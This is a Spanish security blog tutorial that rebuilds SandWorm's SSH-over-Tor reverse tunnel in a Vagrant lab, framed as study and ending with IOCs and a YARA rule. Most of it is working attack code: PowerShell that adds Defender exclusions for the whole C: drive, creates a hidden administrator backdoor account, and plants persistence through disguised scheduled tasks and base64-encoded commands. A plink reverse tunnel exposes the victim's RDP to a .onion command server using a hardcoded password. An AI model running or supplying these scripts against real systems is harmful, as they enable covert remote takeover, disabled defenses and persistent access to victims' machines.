Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

Lab PoC: SSH Reverse Tunnel sobre Tor (tecnica APT SandWorm)

Lab PoC: SSH Reverse Tunnel sobre Tor (tecnica APT SandWorm)

Tabla de contenidos

Contexto: que hace SandWorm con SSH y Tor

El grupo APT-C-13 (SandWorm/APT44/Seashell Blizzard) es uno de los APT mas sofisticados del mundo. Segun un analisis reciente de 360 Threat Intelligence, este grupo ha evolucionado sus tecnicas de persistencia usando un patron muy concreto:

  1. La victima tiene Tor instalado como cliente SOCKS5 (puerto 9050)
  2. El C2 del atacante expone su SSH como un Tor Hidden Service (direccion .onion)
  3. La victima establece un SSH reverse tunnel al .onion del C2
  4. El tunnel expone el RDP (3389) de la victima en un puerto del C2
  5. El atacante accede al escritorio de la victima via localhost:30054

El resultado: conexion RDP completa sin ninguna conexion IP directa entre victima y atacante. Todo el trafico va cifrado dentro de la red Tor.

Frameworks documentados

SandWorm usa variantes de esta tecnica en sus frameworks:

  • Tambur: SSH reverse tunnel basico (-R 30054:localhost:3389) con Tor
  • Kalambur: Añade gestion de Tor, cuentas backdoor, limpieza forense
  • Sumbur: Evolucion con Basic Auth en C2, rotacion de nodos Tor
  • DemiMur: Inyeccion de certificados raiz + bypass de Defender

En este lab replicamos la tecnica de Tambur (la base de todas las demas).

MITRE ATT&CK

IDTecnicaImplementacion en este lab
T1572Protocol TunnelingSSH reverse tunnel encapsulado en Tor
T1090.003Multi-hop ProxyTor SOCKS5 -> .onion -> C2
T1021.001Remote Desktop ProtocolxRDP expuesto via tunnel
T1136.001Create AccountUsuario backdoor "tambur"
T1553.004Subvert Trust Controls: Install Root CertificateDemiMur inyecta certificado raiz falso
T1562.001Impair Defenses: Disable or Modify ToolsExclusiones en Defender via Add-MpPreference
T1574.002Hijack Execution Flow: DLL Side-Loadinghid.dll en ruta de sistema

Como evade SandWorm la deteccion (EDR/IDS/IPS)

Una pregunta logica es: ¿por que no detectan Tor ni el tunnel un EDR o un IDS? La respuesta es que SandWorm no despliega Tor "a pelo" — usa una cadena de evasion multi-capa que neutraliza las defensas antes de establecer el tunnel. Segun el analisis de 360 Threat Intelligence, la cadena es:

Fase 1: Neutralizar el EDR/Antivirus (DemiMur)

Antes de tocar Tor o SSH, SandWorm ejecuta el modulo DemiMur que:

  1. Inyecta un certificado raiz falso (DemiMurCA.crt) en el almacen de confianza del sistema:
POWERSHELL
Import-Certificate -FilePath "DemiMurCA.crt" -CertStoreLocation "Cert:\LocalMachine\Root"

Esto permite que cualquier payload firmado con ese certificado pase las verificaciones de Windows como "confiable".

  1. Añade exclusiones masivas en Microsoft Defender:
POWERSHELL
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "C:\Windows\System32\WindowsPowerShell"

Con C:\ excluido, Defender no escanea absolutamente nada — ni los binarios de Tor, ni ssh.exe, ni los scripts VBS. Es como desactivar el antivirus sin tocarlo.

  1. Auto-elimina la evidencia: Borra DemiMur.exe y el .crt inmediatamente despues de ejecutar, dejando una ventana de forensics minima.

Fase 2: Instalar Tor sin parecer Tor (Kalambur/Sumbur)

SandWorm no instala el paquete oficial de Tor. En su lugar:

  • Descarga un Tor customizado desde su propio C2 (kalambur.net o sumbur.net)
  • Lo coloca en rutas que simulan software legitimo: %PUBLIC%\Edge Update Manager\
  • Usa Basic Authorization en las peticiones HTTP al C2, de forma que los sandboxes que intenten acceder a la URL reciben contenido falso o conexion rechazada
  • El binario de Tor no tiene nombre sospechoso ni se registra como servicio con nombre "tor"

Fase 3: Living off the Land (Tambur)

Para el tunnel SSH propiamente dicho:

  • Usa ssh.exe nativo de Windows (disponible desde Windows 10 1809). No instala OpenSSH adicional en versiones modernas
  • El proceso ssh.exe es 100% legitimo y firmado por Microsoft — un EDR no lo marca como malicioso
  • Los argumentos -R son dificiles de detectar si el EDR no hace command-line inspection detallada
  • La tarea programada se llama WindowsUpdateCheck o MicrosoftEdgeUpdateTaskMachineCore — nombres que pasan desapercibidos

Fase 4: Evitar deteccion de red (IDS/IPS)

Para que el IDS no detecte trafico Tor:

  • Tor con bridges: Los nodos bridge no estan en las listas publicas de Tor, asi que las reglas de Suricata/Snort basadas en IP known-tor-nodes no funcionan
  • El trafico SSH va DENTRO de Tor: El IDS solo ve conexiones TLS a IPs "normales" (los bridges). No ve protocolo Tor ni SSH
  • Sin beaconing predecible: Sumbur ejecuta cada 4 horas (no cada minuto), imitando el patron de actualizaciones legitimas de software

Fase 5: Anti-forensics

  • sleep 97 antes de borrar payloads (evita correlacion temporal)
  • Ficheros intermedios (ittem.exe, ftara.log) se eliminan automaticamente
  • Encoded con Base64: powershell -enc evita logs de command-line legibles
  • VBScript como wrapper: muchos EDRs no inspeccionan .vbs con la misma profundidad que .ps1

Resumen: por que funciona

Capa de defensaTecnica de evasionResultado
Antivirus/EDRExclusiones en Defender + certificado raiz falsoPayloads no escaneados
Command-line loggingpowershell -enc + VBS wrappersLogs ilegibles
IDS/IPS (trafico Tor)Tor bridges (no en listas publicas)Trafico parece HTTPS normal
IDS/IPS (SSH)SSH encapsulado dentro de TorProtocolo SSH invisible
Analisis de procesosssh.exe nativo + nombres de tareas legitimosProcesos "normales"
ForensicsAuto-borrado + delay + rutas de sistemaEvidencia minima

Implicacion para nuestro lab

En nuestro lab SI replicamos estas capas de evasion con una victima Windows 10 real:

  1. Defender activo: El script DemiMur.ps1 anade exclusiones (como hace SandWorm)
  2. Tor Expert Bundle: Kalambur.ps1 instala Tor en %PUBLIC%\Edge Update Manager\ (ruta que simula software legitimo)
  3. plink.exe + PuTTY sessions: Tambur.ps1 usa proxy SOCKS5 via registro de PuTTY para resolver .onion en Tor

Esto es lo mas cercano posible a la implementacion real de SandWorm documentada por 360 Threat Intelligence. Es un framework modular donde cada pieza tiene una funcion especifica en la cadena de evasion.


Arquitectura del lab

CODE
┌─────────────────────┐         Red Tor              ┌─────────────────┐
│   VICTIM-WIN        │ ──SSH reverse tunnel──────>   │   C2-SERVER     │
│   (Windows 10)      │    (via .onion address)       │   (Debian 12)   │
│                     │                               │                 │
│ RDP :3389 (nativo)  │  plink.exe ──> Tor SOCKS5    │ Tor Hidden Svc  │
│ Tor SOCKS :9050     │    PuTTY session registry     │ SSH :22         │
│ Defender ACTIVO     │    (ProxyMethod=2 SOCKS5)            │ usuario: tambur │
│ 192.168.56.20       │                               │ 192.168.56.10   │
└─────────────────────┘                               └────────┬────────┘
                                                               │
                                                        localhost:30054 = RDP victima
                                                        localhost:20054 = SSH victima

┌─────────────────┐
│    MONITOR      │  <- Para capturar trafico y verificar
│ tcpdump/tshark  │     que NO hay conexion directa
│ 192.168.56.30   │
└─────────────────┘

3 maquinas virtuales:

  • c2-server (Debian 12, 1 GB RAM): Atacante. Tor hidden service + SSH server. Recibe el tunnel.
  • victim-win (Windows 10, 4 GB RAM): Victima. RDP nativo + Defender activo + Tor client. Kill chain completa.
  • monitor (Debian 12, 512 MB RAM): Analisis. Captura trafico para demostrar que no hay conexion directa.

Requisitos

  • VirtualBox 7.0.x (no 7.1+ por compatibilidad de boxes)
  • Vagrant instalado
  • Box StefanScherer/windows_10 (Windows 10) y debian/bookworm64 (Debian 12)
  • Al menos 6 GB de RAM libre
  • Conexion a Internet (para que Tor funcione)
  • Red interna entre las 3 VMs (host-only 192.168.56.0/24)

Parte 1: Instalacion manual paso a paso

Esta seccion explica como configurar cada maquina desde cero. Si prefieres automatizarlo con Vagrant, salta a la Parte 2.


VM 1: C2-SERVER (Atacante)

Esta maquina actua como el servidor de Command & Control. Expone su SSH como un Tor Hidden Service y recibe los reverse tunnels de las victimas.

1.1 Configuracion de red

Asigna la IP 192.168.56.10 en la interfaz host-only:

BASH
# /etc/network/interfaces (o via nmcli)
auto eth1
iface eth1 inet static
    address 192.168.56.10
    netmask 255.255.255.0

1.2 Instalar Tor y OpenSSH

BASH
sudo apt update
sudo apt install -y tor openssh-server

1.3 Configurar SSH para aceptar reverse tunnels

Editar /etc/ssh/sshd_config:

BASH
sudo nano /etc/ssh/sshd_config

Modificar/añadir estas lineas:

CODE
GatewayPorts yes
PermitRootLogin yes
PasswordAuthentication yes
AllowTcpForwarding yes

Reiniciar SSH:

BASH
sudo systemctl restart sshd

¿Por que GatewayPorts yes? Por defecto SSH solo bindea reverse tunnels a 127.0.0.1. Con GatewayPorts yes se permite que otros procesos locales accedan al puerto forwarded. En produccion SandWorm no necesita esto porque acceden desde localhost, pero lo activamos para flexibilidad del lab.

1.4 Crear usuario para el tunnel

SandWorm usa el usuario tambur con la password 1qaz@WSX (hardcoded en su malware):

BASH
sudo useradd -m -s /bin/bash tambur
echo "tambur:1qaz@WSX" | sudo chpasswd

1.5 Configurar Tor Hidden Service

Editar /etc/tor/torrc:

BASH
sudo nano /etc/tor/torrc

Añadir al final del fichero:

CODE
# Hidden Service para SSH (C2)
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22

Esto le dice a Tor: "crea un servicio oculto que redirija el puerto 22 del .onion al SSH local".

Reiniciar Tor:

BASH
sudo systemctl restart tor

1.6 Obtener la direccion .onion

Espera unos segundos y lee la direccion generada:

BASH
sudo cat /var/lib/tor/ssh_hidden_service/hostname

Resultado (ejemplo):

CODE
n6b6j4vlkc4ak343j4fmuwmosxtwrft6bph5s5562lefji4a475smuad.onion

Apunta esta direccion — es la que necesita la victima para conectarse.

1.7 Verificar que todo funciona

BASH
# SSH escuchando
sudo ss -tlnp | grep :22

# Tor corriendo
sudo systemctl status tor

# Hidden service publicado
sudo ls -la /var/lib/tor/ssh_hidden_service/
# Debe contener: hostname, hs_ed25519_public_key, hs_ed25519_secret_key

VM 2: VICTIM-WIN (Victima Windows 10)

Esta maquina simula un equipo corporativo comprometido con Windows 10, Defender activo y RDP nativo. Aqui se ejecuta la kill chain completa de SandWorm.

2.1 Configuracion de red

Windows 10 con red host-only en 192.168.56.20. En Vagrant se configura automaticamente.

2.2 Herramientas necesarias

El lab requiere estas herramientas en el directorio tools/:

HerramientaPara queDescarga
plink.exeSSH client con soporte SOCKS5 via registryPuTTY 0.83
connect.exeSOCKS5 proxy con resolucion DNS remota (.onion)Compilado custom (ver codigo fuente en el lab)
tor.exeTor Expert Bundle (cliente SOCKS5 en 9050)Tor Expert Bundle

2.3 Scripts del kill chain

El lab incluye 4 scripts PowerShell que replican cada fase:

ScriptFaseFuncion
DemiMur.ps11Exclusiones en Defender + intento de cert injection
Kalambur.ps12Instalar Tor + crear usuario backdoor + persistencia
Tambur.ps13SSH reverse tunnel via Tor (plink + PuTTY session)
Cleanup.ps1-Anti-forensics + revert del lab

2.4 Notas sobre Windows

  • Defender esta activo: DemiMur.ps1 anade exclusiones antes de desplegar binarios
  • RDP nativo: No necesita xRDP — Windows 10 tiene RDP integrado
  • ssh.exe nativo NO funciona desde servicios: La version 8.1 de OpenSSH for Windows no puede firmar claves SSH sin TTY. Por eso se usa plink.exe con password auth
  • PuTTY saved sessions: plink.exe no soporta -proxycmd con binarios externos correctamente en Windows. La solucion es configurar el proxy SOCKS5 via registro de PuTTY (HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\)

2.5 Verificar RDP y Tor

POWERSHELL
# RDP activo (siempre en Windows 10 con la configuracion del lab)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389

# Tor corriendo
Get-Process tor -ErrorAction SilentlyContinue

# SOCKS5 proxy activo
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050

VM 3: MONITOR (Analisis de trafico)

Maquina para observar el trafico y demostrar que no hay conexion directa entre victima y C2.

3.1 Configuracion de red

BASH
# IP: 192.168.56.30
auto eth1
iface eth1 inet static
    address 192.168.56.30
    netmask 255.255.255.0

3.2 Instalar herramientas

BASH
sudo apt update
sudo apt install -y tcpdump tshark nmap net-tools

Parte 2: Despliegue automatizado con Vagrant

Si no quieres instalar todo manualmente, el lab completo se despliega con un unico comando. El repositorio incluye Vagrantfile + scripts PowerShell + herramientas.

Vagrantfile

RUBY
# -*- mode: ruby -*-
# SandWorm SSH-Tor Tunnel Lab (Full Kill Chain)
# APT-C-13 PoC: Windows 10 victim + Tor + Reverse Tunnel

Vagrant.configure("2") do |config|

  # =========================================================================
  # C2 SERVER (Atacante - Debian 12)
  # =========================================================================
  config.vm.define "c2-server" do |c2|
    c2.vm.box = "debian/bookworm64"
    c2.vm.hostname = "c2-server"
    c2.vm.network "private_network", ip: "192.168.56.10"

    c2.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-c2-server"
      vb.memory = 1024
      vb.cpus = 1
    end

    c2.vm.provision "shell", inline: <<-SHELL
      export DEBIAN_FRONTEND=noninteractive
      apt-get update -qq
      apt-get install -y -qq tor openssh-server sshpass

      # SSH: aceptar reverse tunnels + password auth
      sed -i 's/#GatewayPorts no/GatewayPorts yes/' /etc/ssh/sshd_config
      sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
      grep -q "^AllowTcpForwarding" /etc/ssh/sshd_config || echo "AllowTcpForwarding yes" >> /etc/ssh/sshd_config
      systemctl restart sshd

      # Usuario para el tunnel (password: Tunnel2026)
      useradd -m -s /bin/bash tambur || true
      echo "tambur:Tunnel2026" | chpasswd

      # Tor Hidden Service para SSH
      cat >> /etc/tor/torrc <<TORRC

HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22
TORRC

      systemctl restart tor
      sleep 5

      # Esperar a que Tor genere el hostname .onion
      for i in $(seq 1 30); do
        [ -f /var/lib/tor/ssh_hidden_service/hostname ] && break
        sleep 2
      done

      ONION=$(cat /var/lib/tor/ssh_hidden_service/hostname 2>/dev/null || echo "PENDIENTE")
      echo "[+] Tor Hidden Service: $ONION"
      echo "$ONION" > /vagrant/.c2_onion_address
    SHELL
  end

  # =========================================================================
  # VICTIM (Windows 10 - Defender activo, RDP nativo)
  # =========================================================================
  config.vm.define "victim-win" do |victim|
    victim.vm.box = "StefanScherer/windows_10"
    victim.vm.hostname = "victim-win"
    victim.vm.network "private_network", ip: "192.168.56.20"
    victim.vm.communicator = "winrm"

    victim.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-victim-win"
      vb.memory = 4096
      vb.cpus = 2
      vb.gui = true
    end

    victim.vm.provision "shell", inline: <<-POWERSHELL
      # Habilitar RDP
      Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 0
      Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
      Write-Host "[+] RDP habilitado"
    POWERSHELL
  end

  # =========================================================================
  # MONITOR (Observacion y analisis)
  # =========================================================================
  config.vm.define "monitor" do |mon|
    mon.vm.box = "debian/bookworm64"
    mon.vm.hostname = "monitor"
    mon.vm.network "private_network", ip: "192.168.56.30"

    mon.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-monitor"
      vb.memory = 512
      vb.cpus = 1
    end

    mon.vm.provision "shell", inline: <<-SHELL
      export DEBIAN_FRONTEND=noninteractive
      apt-get update -qq
      apt-get install -y -qq tcpdump tshark nmap net-tools
    SHELL
  end
end

Scripts PowerShell del Kill Chain

Los scripts se colocan en el directorio scripts/ del lab y se ejecutan en orden desde la victima Windows.

DemiMur.ps1 (Fase 1: Neutralizar Defender)

POWERSHELL
# Exclusiones masivas en Defender (como SandWorm)
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "$env:PUBLIC"
Add-MpPreference -ExclusionProcess "ssh.exe"
Add-MpPreference -ExclusionProcess "tor.exe"
Add-MpPreference -ExclusionProcess "powershell.exe"
Add-MpPreference -ExclusionProcess "plink.exe"

Kalambur.ps1 (Fase 2: Instalar Tor + backdoor)

POWERSHELL
# Descargar Tor Expert Bundle en ruta que simula software legitimo
$TorDir = "$env:PUBLIC\Edge Update Manager"
New-Item -ItemType Directory -Path $TorDir -Force | Out-Null

# Descargar Tor (en el lab se copia de tools/)
Copy-Item "C:\vagrant\tools\tor.exe" "$TorDir\tor.exe"

# Iniciar Tor con SOCKS5 en 9050
Start-Process -FilePath "$TorDir\tor.exe" `
    -ArgumentList "--SocksPort 9050 --DataDirectory `"$TorDir\Tor\data`"" `
    -WindowStyle Hidden

# Crear usuario backdoor (oculto del login screen)
net user Admin "1qaz@WSX" /add /y
net localgroup Administrators Admin /add
# Ocultar del login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Admin /t REG_DWORD /d 0 /f

# Persistencia: tarea programada con nombre legitimo
schtasks /Create /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" `
    /TR "powershell.exe -WindowStyle Hidden -File C:\vagrant\scripts\Tambur.ps1" `
    /SC ONSTART /RU SYSTEM /RL HIGHEST /F

Tambur.ps1 (Fase 3: SSH Reverse Tunnel via Tor)

Esta es la tecnica clave. Usa plink.exe con PuTTY saved sessions configuradas en el registro de Windows:

POWERSHELL
$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$C2HostKey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"

# Crear PuTTY saved session con SOCKS5 proxy (resolucion DNS en Tor)
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "UserName" -Value "tambur"
Set-ItemProperty -Path $sessionPath -Name "Protocol" -Value "ssh"
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord  # SOCKS5 (2=SOCKS5, 5=Local cmd)
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord     # DNS at proxy (critico para .onion)
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user"        # Necesario para -batch (evita prompt SOCKS auth)
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass"        # Tor acepta cualquier valor

# Lanzar plink con reverse tunnels
$PlinkExe = "C:\vagrant\tools\plink.exe"
$bat = "@echo off`r`n`"$PlinkExe`" -batch -pw Tunnel2026 -hostkey `"$C2HostKey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\tunnel.bat", $bat)

# VBS wrapper (stealth - SandWorm usa rata.vbs)
$vbs = "Set s = CreateObject(`"WScript.Shell`")`r`ns.Run `"$env:PUBLIC\Edge Update Manager\tunnel.bat`", 0, False"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs", $vbs)

# Ejecutar
& cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"

Por que PuTTY saved sessions? Descubrimiento clave del lab:

  1. ssh.exe nativo de Windows 8.1/10 no puede firmar claves SSH sin TTY (falla sign_and_send_pubkey cuando se ejecuta desde servicios/WinRM)
  2. plink.exe -proxycmd con binarios externos no funciona (pipe handling roto en Windows)
  3. PuTTY saved sessions con ProxyMethod=2 (SOCKS5) + ProxyDNS=1 + ProxyUsername (para -batch) es la unica forma que funciona correctamente para resolver .onion y tunelizar via Tor

Uso

BASH
# Desplegar las 3 VMs
export VAGRANT_DEFAULT_PROVIDER=virtualbox
vagrant up

# Ejecutar kill chain en la victima (en orden)
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\DemiMur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Kalambur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Tambur.ps1'

# Verificar tunnel en el C2
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"

Nota: Si Vagrant intenta usar VMware, fuerza VirtualBox con vagrant up --provider=virtualbox o exporta la variable VAGRANT_DEFAULT_PROVIDER=virtualbox.


Parte 3: Establecer el tunnel

Aqui es donde replicamos exactamente lo que hace el malware Tambur de SandWorm, pero desde una victima Windows 10 real con Defender activo.

3.1 Acceder a la victima Windows

BASH
# Via Vagrant WinRM (elevado):
vagrant winrm victim-win -e -c 'hostname'

# O via RDP directo:
# IP: 192.168.56.20, User: vagrant, Pass: vagrant

3.2 Verificar prerrequisitos

POWERSHELL
# Tor corriendo con SOCKS5
Get-Process tor -ErrorAction SilentlyContinue
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050

# RDP activo (nativo en Windows 10)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389

# plink.exe disponible
Test-Path "C:\vagrant\tools\plink.exe"

3.3 Establecer el reverse tunnel

Ejecutar Tambur.ps1 o los comandos clave manualmente:

POWERSHELL
# 1. Configurar PuTTY session con proxy SOCKS5 (registro)
$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user"
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass"

# 2. Lanzar plink con reverse tunnels (background via VBS)
$hostkey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"
Start-Process "C:\vagrant\tools\plink.exe" -ArgumentList `
    "-batch -pw Tunnel2026 -hostkey `"$hostkey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel" `
    -WindowStyle Hidden

Desglose de los parametros de plink:

ParametroFuncion
-batchNo interactive prompts (equivalente a BatchMode=yes)
-pw Tunnel2026Password hardcoded (como hace el malware)
-hostkey "ecdsa..."Acepta solo esta host key especifica (anti-MITM)
-NNo abre shell remota (solo mantiene el tunnel)
-R 127.0.0.1:30054:127.0.0.1:3389Expone el RDP local en el C2 como puerto 30054
-R 127.0.0.1:20054:127.0.0.1:22Expone el SSH local en el C2 como puerto 20054
-load c2tunnelUsa la PuTTY session (SOCKS5 proxy + .onion hostname)

Nota: La primera conexion via Tor tarda entre 15-60 segundos. Es normal. Tor necesita construir un circuito de 3 saltos hasta el hidden service del C2.

3.4 Verificar que el tunnel funciona

POWERSHELL
# En la victima: verificar que plink sigue corriendo
Get-Process plink -ErrorAction SilentlyContinue
BASH
# En el C2: verificar que los puertos estan escuchando
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"

Salida esperada en el C2:

NGINX
LISTEN  0  128  0.0.0.0:30054  0.0.0.0:*
LISTEN  0  128  0.0.0.0:20054  0.0.0.0:*

Si ves esto, el tunnel esta activo y funcionando a traves de Tor.


Parte 4: Acceder a la victima desde el C2

Ahora el atacante tiene acceso completo al escritorio de la victima sin ninguna conexion IP directa.

4.1 Verificar puertos en el C2

BASH
vagrant ssh c2-server
ss -tlnp | grep -E '30054|20054'

4.2 Acceder via RDP (a traves del tunnel)

Desde el C2 o desde tu host (port forwarding):

BASH
# Opcion 1: Desde el C2 directamente
xfreerdp /v:127.0.0.1:30054 /u:Admin /p:1qaz@WSX

# Opcion 2: Desde tu host, forwardea el puerto del C2
ssh -L 3389:127.0.0.1:30054 vagrant@192.168.56.10
# Luego abre tu cliente RDP contra localhost:3389

El usuario Admin fue creado por Kalambur.ps1 con la password 1qaz@WSX — un backdoor oculto del login screen.

4.3 Verificar que la conexion va por Tor

BASH
# En el C2: ver el log de SSH
sudo journalctl -u ssh --since "5 minutes ago" | grep tambur

Salida esperada:

CODE
Accepted password for tambur from 127.0.0.1 port XXXXX ssh2

La conexion viene de 127.0.0.1 — esto confirma que llego a traves del Tor hidden service, no por red directa.


Parte 5: Verificar con el monitor

Esta es la parte que demuestra por que esta tecnica es tan peligrosa.

5.1 Capturar trafico

BASH
vagrant ssh monitor
BASH
# Capturar TODO el trafico de la red interna
sudo tcpdump -i eth1 -w /tmp/lab_capture.pcap &

# Espera unos segundos con el tunnel activo, luego para la captura
sleep 30 && sudo kill %1

5.2 Analizar: no hay conexion directa

BASH
# Buscar trafico directo entre victima (.20) y C2 (.10)
sudo tcpdump -r /tmp/lab_capture.pcap host 192.168.56.20 and host 192.168.56.10

Resultado esperado: 0 paquetes. No hay comunicacion directa.

BASH
# Ver a donde conecta la victima realmente
sudo tcpdump -r /tmp/lab_capture.pcap src host 192.168.56.20

Veras conexiones a IPs de nodos Tor (guard nodes), no al C2. El C2 tampoco aparece en el trafico del lado de la victima.

5.3 Que veria un SOC

Un analista de SOC veria:

  • La victima hace conexiones TLS a IPs "raras" (nodos Tor)
  • No hay patron claro de C2 (no hay beaconing regular)
  • El trafico va cifrado (SSH dentro de Tor)
  • No hay IOC de red que vincule victima con atacante

La unica forma de detectarlo es:

  1. Saber que Tor esta instalado donde no deberia (ej. %PUBLIC%\Edge Update Manager\)
  2. Detectar procesos plink.exe con -R y -load con session names sospechosos
  3. Inspeccionar registro de PuTTY: HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\ con proxies SOCKS
  4. Monitorizar tareas programadas con nombres que simulan componentes de Windows

Parte 6: Persistencia (como Tambur/Kalambur)

SandWorm no ejecuta el tunnel una vez — lo mantiene con tareas programadas y VBS wrappers.

6.1 Crear persistencia en Windows (como hace Tambur)

POWERSHELL
# Script de persistencia (encoded en base64 por el malware real)
$TunnelScript = @"
if (!(Get-Process plink -ErrorAction SilentlyContinue)) {
    `$torProc = Get-Process tor -ErrorAction SilentlyContinue
    if (!`$torProc) {
        Start-Process "$env:PUBLIC\Edge Update Manager\tor.exe" -ArgumentList "--SocksPort 9050 --DataDirectory `"$env:PUBLIC\Edge Update Manager\Tor\data`"" -WindowStyle Hidden
        Start-Sleep -Seconds 30
    }
    & cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"
}
"@

$EncodedCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($TunnelScript))

# Tarea al inicio del sistema (nombre que simula Windows Diagnostics)
schtasks /Create /TN "\Microsoft\Windows\WDI\Tambur" `
    /TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
    /SC ONSTART /RU SYSTEM /RL HIGHEST /F

# Watchdog cada 5 minutos (re-establece si se cae)
schtasks /Create /TN "\Microsoft\Windows\WDI\TamburWatch" `
    /TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
    /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F

6.2 Tecnica de ocultacion

SandWorm oculta sus tareas usando rutas de Windows Diagnostics Infrastructure (\Microsoft\Windows\WDI\). Un administrador que haga schtasks /query vera nombres como MicrosoftEdgeUpdateTaskMachineCore que pasan totalmente desapercibidos.

Ademas:

  • VBS wrapper: MicrosoftEdgeUpdate.vbs ejecuta el BAT en modo invisible (sin ventana)
  • Ruta legitima: %PUBLIC%\Edge Update Manager\ simula el actualizador de Microsoft Edge
  • Encoded command: powershell -enc evita que los logs muestren el script en claro

Deteccion y defensa

Ahora que entendemos la tecnica a fondo, veamos como detectarla.

Indicadores de compromiso (IOCs)

IndicadorQue buscar
Procesosplink.exe con -R y -load, ssh.exe con ProxyCommand apuntando a :9050
RegistroHKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\ con ProxyMethod=2 (SOCKS5) y hosts .onion
PuertosTor SOCKS5 en 9050 sin justificacion empresarial
Ficherostor.exe en %PUBLIC%\Edge Update Manager\, VBS wrappers, .bat con plink
CuentasCuentas locales ocultas (ej. Admin con REG_DWORD 0 en SpecialAccounts\UserList)
TareasTareas en \Microsoft\Windows\WDI\ que ejecutan PowerShell encoded
RedConexiones salientes a nodos Tor conocidos (listas publicas de guard/relay nodes)

Reglas de deteccion

YARA (buscar en disco/memoria):

CODE
rule SandWorm_SSH_Tor_Tunnel {
    meta:
        description = "Detecta indicadores de SSH tunnel via Tor (SandWorm/Tambur)"
        author = "Red Orbita"
    strings:
        $proxy1 = "ProxyCommand=ncat --proxy 127.0.0.1:9050" ascii
        $proxy2 = "ProxyCommand=connect" ascii wide
        $proxy3 = "ProxyMethod" ascii wide
        $tunnel = "-R 127.0.0.1:" ascii wide
        $plink = "plink" ascii wide nocase
        $user1 = "tambur@"
        $pass1 = "Tunnel2026"
        $onion = ".onion" ascii wide
        $session = "c2tunnel" ascii wide
        $vbs = "MicrosoftEdgeUpdate.vbs" ascii wide
    condition:
        2 of them
}

Sigma (deteccion en logs de procesos):

YAML
title: SSH Reverse Tunnel via Tor SOCKS5 Proxy (Windows)
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
